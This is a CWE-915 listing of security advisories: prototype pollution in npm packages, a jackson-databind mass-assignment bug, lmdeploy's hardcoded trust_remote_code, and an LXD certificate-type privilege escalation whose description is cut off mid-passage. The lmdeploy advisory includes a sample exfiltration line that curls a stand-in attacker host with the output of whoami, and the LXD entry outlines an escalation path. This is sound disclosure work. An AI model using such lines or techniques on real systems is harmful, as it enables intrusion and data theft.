Common Weakness Enumeration

CWE-915

Allowed

Improperly Controlled Modification of Dynamically-Determined Object Attributes

Abstraction: Base · Status: Incomplete

The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.

276 vulnerabilities reference this CWE, most recent first.

GHSA-96R7-MRQF-JHCC

Vulnerability from github – Published: 2020-06-10 20:27 – Updated: 2021-08-30 13:39
VLAI
Summary
Prototype Pollution in ini-parser
Details

All versions of ini-parser are vulnerable to prototype pollution. The parse function does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.

Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ini-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7617"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-10T20:13:15Z",
    "nvd_published_at": "2020-04-02T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "All versions of `ini-parser` are vulnerable to prototype pollution. The `parse` function does not restrict the modification of an Object\u0027s prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.",
  "id": "GHSA-96r7-mrqf-jhcc",
  "modified": "2021-08-30T13:39:02Z",
  "published": "2020-06-10T20:27:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7617"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rawiroaisen/node-ini-parser/blob/master/index.js#L14"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-INIPARSER-564122"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1508"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in ini-parser"
}

GHSA-9FXM-VC8V-HJ55

Vulnerability from github – Published: 2026-06-23 21:24 – Updated: 2026-06-23 21:24
VLAI
Summary
jackson-databind's renamed @JsonIgnore'd setters can deserialize via private fields
Details

Summary

POJOPropertiesCollector._renameProperties() allows a property with @JsonProperty("renamed") on the getter and @JsonIgnore on the setter to be renamed rather than dropped. With MapperFeature.INFER_PROPERTY_MUTATORS enabled (default), the private backing field is retained; during deserialization BeanDeserializerFactory.addBeanProps() sees hasField()==true, builds a FieldProperty, and makes the backing field writable. An attacker supplying the renamed JSON key writes the backing field directly, bypassing the @JsonIgnore on the setter.

Impact

POJOs combining a renamed getter with an ignored setter (a read-only-over-the-wire pattern) have that field silently set from attacker input (property tampering / mass assignment). Not a general gadget; no RCE.

Affected / Patched (verified via git tag --contains)

  • 2.21 line: >= 2.21.0, < 2.21.4 -> fixed in 2.21.4 (backport c3d56dd, #5968)
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4 (#5967, e88cb17)

Severity / CWE

Maintainer: minor. Reporter: HIGH. CWE-915.

Credits

Omkhar Arasaratnam (@omkhar) - finder.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.21.0"
            },
            {
              "fixed": "2.21.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54516"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-23T21:24:26Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n`POJOPropertiesCollector._renameProperties()` allows a property with `@JsonProperty(\"renamed\")` on the getter and `@JsonIgnore` on the setter to be renamed rather than dropped. With `MapperFeature.INFER_PROPERTY_MUTATORS` enabled (default), the private backing field is retained; during deserialization `BeanDeserializerFactory.addBeanProps()` sees `hasField()==true`, builds a `FieldProperty`, and makes the backing field writable. An attacker supplying the renamed JSON key writes the backing field directly, bypassing the `@JsonIgnore` on the setter.\n\n## Impact\nPOJOs combining a renamed getter with an ignored setter (a read-only-over-the-wire pattern) have that field silently set from attacker input (property tampering / mass assignment). Not a general gadget; no RCE.\n\n## Affected / Patched (verified via `git tag --contains`)\n- 2.21 line: `\u003e= 2.21.0, \u003c 2.21.4` -\u003e fixed in **2.21.4** (backport `c3d56dd`, #5968)\n- 3.x line: `\u003e= 3.0.0, \u003c 3.1.4` -\u003e fixed in **3.1.4** (#5967, `e88cb17`)\n\n## Severity / CWE\nMaintainer: minor. Reporter: HIGH. CWE-915.\n\n## Credits\nOmkhar Arasaratnam (@omkhar) - finder.",
  "id": "GHSA-9fxm-vc8v-hj55",
  "modified": "2026-06-23T21:24:26Z",
  "published": "2026-06-23T21:24:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-9fxm-vc8v-hj55"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/pull/5967"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/pull/5968"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/c3d56dd25d52319828147c5b9aeabf2d485c250a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/e88cb17006b6af4883b973058f0bb6486e5074af"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-databind"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "jackson-databind\u0027s renamed @JsonIgnore\u0027d setters can deserialize via private fields"
}

GHSA-9WCG-JRWF-8GG7

Vulnerability from github – Published: 2020-08-05 14:53 – Updated: 2022-05-04 02:19
VLAI
Summary
Prototype Pollution in express-fileupload
Details

This affects the package express-fileupload before 1.1.8. If the parseNested option is enabled, sending a corrupt HTTP request can lead to denial of service or arbitrary code execution.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "express-fileupload"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7699"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-03T21:20:00Z",
    "nvd_published_at": "2020-07-30T09:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "This affects the package express-fileupload before 1.1.8. If the parseNested option is enabled, sending a corrupt HTTP request can lead to denial of service or arbitrary code execution.",
  "id": "GHSA-9wcg-jrwf-8gg7",
  "modified": "2022-05-04T02:19:36Z",
  "published": "2020-08-05T14:53:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7699"
    },
    {
      "type": "WEB",
      "url": "https://github.com/richardgirges/express-fileupload/issues/236"
    },
    {
      "type": "WEB",
      "url": "https://github.com/richardgirges/express-fileupload/pull/237"
    },
    {
      "type": "WEB",
      "url": "https://github.com/richardgirges/express-fileupload/commit/db495357d7557ceb5c034de91a7a574bd12f9b9f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/richardgirges/express-fileupload"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20200821-0003"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-EXPRESSFILEUPLOAD-595969"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in express-fileupload"
}

GHSA-9XQ9-36W5-Q796

Vulnerability from github – Published: 2026-05-21 19:33 – Updated: 2026-06-10 13:41
VLAI
Summary
lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out
Details

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim: * It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it. * It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.

What this report DOES claim: * Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name. * LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers ≥ 4.30). * The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.


F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

  • Repository: github.com/InternLM/lmdeploy, branch main.
  • Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
  • Pinned blob SHAs:
  • lmdeploy/archs.py68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.pyb1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

  1. HF Transformers downloads the .py file from the repo.
  2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
  3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

  • Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
  • CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
  • Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

Project trust_remote_code default User control
HuggingFace Transformers False trust_remote_code keyword arg
vLLM False --trust-remote-code flag
LMDeploy True (hardcoded) None
TGI False --trust-remote-code flag

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

  1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
  2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
  3. 90-day coordinated-disclosure window starting from acknowledgement.
  4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lmdeploy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.12.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46517"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-915",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-21T19:33:32Z",
    "nvd_published_at": "2026-06-10T00:16:53Z",
    "severity": "HIGH"
  },
  "details": "\u003e ## \ud83d\udccb Reframing (2026-05-02): implicit unsafe remote-code path, not \"supply-chain\"\n\u003e\n\u003e The accurate description of this vulnerability is:\n\u003e **\"`get_model_arch` and related helpers hardcode `trust_remote_code=True`\n\u003e with no opt-out, creating an implicit unsafe remote-code load path\n\u003e on every model fetch.\"**\n\u003e\n\u003e What this report does NOT claim:\n\u003e * It is NOT a network-attack RCE \u2014 the user supplies the model\n\u003e   reference; LMDeploy honors it.\n\u003e * It is NOT a \"supply chain\" CVE in the classical sense (where a\n\u003e   benign upstream is compromised) \u2014 the user explicitly types the\n\u003e   repo name.\n\u003e\n\u003e What this report DOES claim:\n\u003e * Other inference frameworks (vLLM, TGI, Hugging Face transformers\n\u003e   itself) all expose `--trust-remote-code` as **opt-in** so that\n\u003e   users who consciously load known-safe repos can opt in, while\n\u003e   users following a tutorial cannot accidentally execute attacker\n\u003e   Python by typing a wrong repo name.\n\u003e * LMDeploy\u0027s hardcoded True is an **implicit** trust-boundary\n\u003e   override that violates HF Transformers\u0027 default-secure stance\n\u003e   (`trust_remote_code=False` since transformers \u2265 4.30).\n\u003e * The fix is a one-line CLI flag (`--trust-remote-code`) defaulting\n\u003e   False, threaded through the three sites, matching the rest of\n\u003e   the ecosystem.\n\u003e\n\u003e Severity should be assessed as **hardening / safe-by-default**,\n\u003e not as full unauthenticated RCE. CVSS revised to **5.5 Medium**\n\u003e (`AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` \u00d7 user-must-load qualifier).\n\u003e\n\u003e Runtime evidence: see `12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt`.\n\n---\n\n# F13 \u2014 LMDeploy: hardcoded `trust_remote_code=True` enables HF supply-chain RCE without user opt-in\n\n**Reporter:** ibondarenko1 / sactransport2000@gmail.com\n**Coordinated-disclosure window:** 90 days from initial vendor email.\n\n## TL;DR\n\nLMDeploy unilaterally passes `trust_remote_code=True` to\n`transformers.AutoConfig.from_pretrained()` (and several other\n`from_pretrained` callers) **regardless of any user opt-in**. The\nflag is hardcoded `True` in source \u2014 there is no CLI flag, no\nenvironment variable, no parameter, and no warning that lets a\nuser refuse remote code execution from the model repository.\nThis is a **silent override of HuggingFace Transformers\u0027 own\ndefault-secure stance** (`trust_remote_code=False`) introduced\nin HF Transformers \u2265 4.30 specifically to prevent this class of\nsupply-chain RCE.\n\nThe user running `lmdeploy serve api_server \u003cattacker_repo\u003e`,\n`lmdeploy lite calibrate \u003cattacker_repo\u003e`, etc. has **no way to\nopt out**. The only escape hatch is for the user to never load\nany third-party HF repo with LMDeploy \u2014 which is incompatible\nwith LMDeploy\u0027s documented use case.\n\nHuggingFace\u0027s `trust_remote_code=False` default exists exactly to\nprevent silent RCE when loading a third-party repo. LMDeploy overrides\nthis default, restoring the unsafe behaviour transparently. A malicious\nHF repo with a `configuration_*.py` shim runs Python code as the\nLMDeploy user at the very first call to `get_model_arch(...)`.\n\nThis is a documented anti-pattern (see HF Hub docs:\n\"Trusting custom code is therefore tricky...\"). Multiple peer\nprojects fixed similar issues \u2014 e.g. Hugging Face Transformers\nitself made this opt-in by default, and `vllm` exposes the flag\nthrough `--trust-remote-code` rather than hardcoding it.\n\n## Affected version\n\n* Repository: `github.com/InternLM/lmdeploy`, branch `main`.\n* Branch SHA at audit time: `9df0eff7c38ae69b9d4b9f7ad1441e484d439f92`\n  (2026-05-02).\n* Pinned blob SHAs:\n  * `lmdeploy/archs.py` \u2192 `68fa03a407734be1e2ae04098d34e9acdbe98262`\n  * `lmdeploy/lite/apis/calibrate.py` \u2192\n    `0728304bdc3c03eee1d790bfbd5496df080a0ecd`\n  * `lmdeploy/lite/utils/load.py` \u2192\n    `7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120`\n  * `lmdeploy/pytorch/check_env/model.py` \u2192\n    `b1a2daaa426bf5fe25030f7913c703eed9f5b261`\n\nSnapshots of all four files are in `source_pinned/`.\n\n## Source-level evidence\n\n### Site 1 \u2014 architecture detection (every load goes through here)\n\n`lmdeploy/archs.py:147-157` \u2014 `get_model_arch`:\n```python\ndef get_model_arch(model_path: str):\n    \"\"\"Get a model\u0027s architecture and configuration.\"\"\"\n    try:\n        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)\n    except Exception as e:  # noqa\n        from transformers import PretrainedConfig\n        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)\n```\n\n**Both** the primary path and the fallback hardcode\n`trust_remote_code=True`. There is no parameter to override it. This\nfunction is called from every model-loading path in lmdeploy.\n\n### Site 2 \u2014 quantization CLI\n\n`lmdeploy/lite/apis/calibrate.py:248-251`:\n```python\ntokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)\n...\nmodel = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)\n```\n\n`lmdeploy lite calibrate \u003crepo\u003e` and downstream quant CLIs (gptq,\nawq) all flow through this. Hardcoded.\n\n### Site 3 \u2014 calibration helper\n\n`lmdeploy/lite/utils/load.py:55`:\n```python\ndef load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):\n    ...\n    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)\n```\n\nEven if the caller does not pass `trust_remote_code=True` in\n`**kwargs`, the helper internally hardcodes it on the config call\n(line 55), then loads the model on line 74. The config call alone is\nsufficient for RCE: HF Transformers downloads `configuration_*.py`\nfrom the repo and `import`s it whenever `trust_remote_code=True`.\n\n### Site 4 \u2014 pytorch engine check\n\n`lmdeploy/pytorch/check_env/model.py:10,99,234,242` \u2014\n`trust_remote_code: bool = True` is the default value for the engine\u0027s\nparameter. Unlike the three sites above, this is \"default true\" not\n\"hardcoded true\" \u2014 a determined caller can pass False \u2014 but every\nshipped CLI passes True or relies on the default.\n\n### What `trust_remote_code=True` actually enables\n\nWhen `AutoConfig.from_pretrained(repo, trust_remote_code=True)` is\ncalled and the repo\u0027s `config.json` contains an `auto_map` key\npointing to a custom `configuration_\u003cname\u003e.py`:\n\n1. HF Transformers downloads the `.py` file from the repo.\n2. HF imports the module via `importlib`, **executing the file\u0027s\n   top-level code** (any `print`, `os.system`, `subprocess.run`,\n   `urllib.request.urlopen`, etc. fires now).\n3. HF then instantiates the named class.\n\nSo a malicious repo only needs a top-level\n`os.system(\"curl https://attacker/?$(whoami)\")` in\n`configuration_evil.py`. It runs as the lmdeploy process user.\n\n## Threat model\n\n**Attack surface.** Any user who runs an lmdeploy CLI command against\na HuggingFace repo identifier they did not personally vet. This\nincludes:\n\n* Casual users following a tutorial that says\n  `lmdeploy serve api_server \u003csome_repo\u003e`.\n* CI pipelines that automatically pull a model from HF Hub by\n  configuration (e.g. updates to a non-Pinned version tag).\n* Researchers comparing models from many authors. Even running\n  `lmdeploy lite calibrate` for benchmarking is enough.\n\nThe user is **not warned** that arbitrary Python from the repo will\nexecute, and there is **no flag** to disable it. The CVE class is\nCWE-94 (Improper Control of Generation of Code, supply-chain\nflavour) and CWE-915 (Improperly Controlled Modification of\nDynamically-Determined Object Attributes).\n\n## Comparison to peer projects\n\n| Project | trust_remote_code default | User control |\n|---|---|---|\n| HuggingFace Transformers | False | `trust_remote_code` keyword arg |\n| vLLM | False | `--trust-remote-code` flag |\n| **LMDeploy** | **True (hardcoded)** | **None** |\n| TGI | False | `--trust-remote-code` flag |\n\nLMDeploy is the outlier. The rationale is presumably \"internal\nmodels like InternLM need custom configuration_*.py\", but the fix is\nto accept a CLI flag like `--trust-remote-code` and default-False as\nthe rest of the ecosystem does.\n\n## Suggested fix\n\nReplace every hardcoded `trust_remote_code=True` with an explicit\nopt-in via CLI flag:\n\n```python\n# lmdeploy/archs.py \u2014 get_model_arch\ndef get_model_arch(model_path: str, trust_remote_code: bool = False):\n    try:\n        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n    except Exception as e:  # noqa\n        from transformers import PretrainedConfig\n        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n```\n\nWire `trust_remote_code` through every call site. Add `--trust-remote-code`\nto lmdeploy\u0027s CLI parser and forward it from server / calibrate /\ngptq / etc. **Default False**.\n\nA patch fragment is in `patch.diff`.\n\n## Disclosure plan\n\n1. Submit privately via lmdeploy security contact (typically email or\n   GitHub Security Advisory at\n   `https://github.com/InternLM/lmdeploy/security/advisories/new`).\n2. Reference Hugging Face Transformers\u0027 historical opt-out \u2192 opt-in\n   change as precedent for the fix shape.\n3. 90-day coordinated-disclosure window starting from acknowledgement.\n4. Request CVE through GHSA flow once the patch lands.\n\n## Why static-only is sufficient here\n\nUnlike F11 (RCE chain through `_load_pt_file`) which required a\nruntime PoC to demonstrate the pickle gadget execution, this finding\nis a **single trust-flag flip** \u2014 the behaviour of\n`AutoConfig.from_pretrained(repo, trust_remote_code=True)` on a HF\nrepo with a malicious `configuration_*.py` is documented behaviour of\nHF Transformers itself (their own docs warn against it). Reproducing\nit adds no new evidence; the static flag-state is the bug.\n\nIf the vendor requests a runtime PoC during triage we will provide\none (a malicious HF repo with `configuration_evil.py` + a one-liner\n`lmdeploy lite calibrate \u003crepo\u003e` invocation), but holding it back from\nthe initial advisory avoids publishing a working exploit during the\ndisclosure window.",
  "id": "GHSA-9xq9-36w5-q796",
  "modified": "2026-06-10T13:41:20Z",
  "published": "2026-05-21T19:33:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-9xq9-36w5-q796"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46517"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/InternLM/lmdeploy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out"
}

GHSA-C36V-FMGQ-M8HX

Vulnerability from github – Published: 2021-09-07 22:57 – Updated: 2024-04-25 22:09
VLAI
Summary
Prototype Pollution in immer
Details

immer is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "immer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "9.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-3757"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-03T20:17:21Z",
    "nvd_published_at": "2021-09-02T12:15:00Z",
    "severity": "HIGH"
  },
  "details": "immer is vulnerable to Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027).",
  "id": "GHSA-c36v-fmgq-m8hx",
  "modified": "2024-04-25T22:09:12Z",
  "published": "2021-09-07T22:57:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3757"
    },
    {
      "type": "WEB",
      "url": "https://github.com/immerjs/immer/commit/fa671e55ee9bd42ae08cc239102b665a23958237"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/immerjs/immer"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/23d38099-71cd-42ed-a77a-71e68094adfa"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in immer"
}

GHSA-C3H3-89QF-JQM5

Vulnerability from github – Published: 2026-04-10 19:20 – Updated: 2026-04-10 19:20
VLAI
Summary
LXD: Update of type field in restricted TLS certificate allows privilege escalation to cluster admin
Details

Summary

A restricted TLS certificate user can escalate to cluster admin by changing their certificate type from client to server via PUT/PATCH to /1.0/certificates/{fingerprint}. The non-admin guard and reset block in doCertificateUpdate fail to validate or reset the Type field, allowing a caller-supplied value to persist to the database. The modified certificate is matched as a server certificate during TLS authentication, granting ProtocolCluster with full admin privileges.

Details

doCertificateUpdate in lxd/certificates.go handles PUT/PATCH requests to /1.0/certificates/{fingerprint} for both privileged and unprivileged callers. The access handler is allowAuthenticated, so any trusted TLS user (including restricted) can reach this code.

For unprivileged callers (restricted users who fail the EntitlementCanEdit check at line 975), two defenses are intended to prevent field tampering:

  1. The guard block validates that Restricted, Name, and Projects match the original database record. Does not check Type.
        // Ensure the user in not trying to change fields other than the certificate.
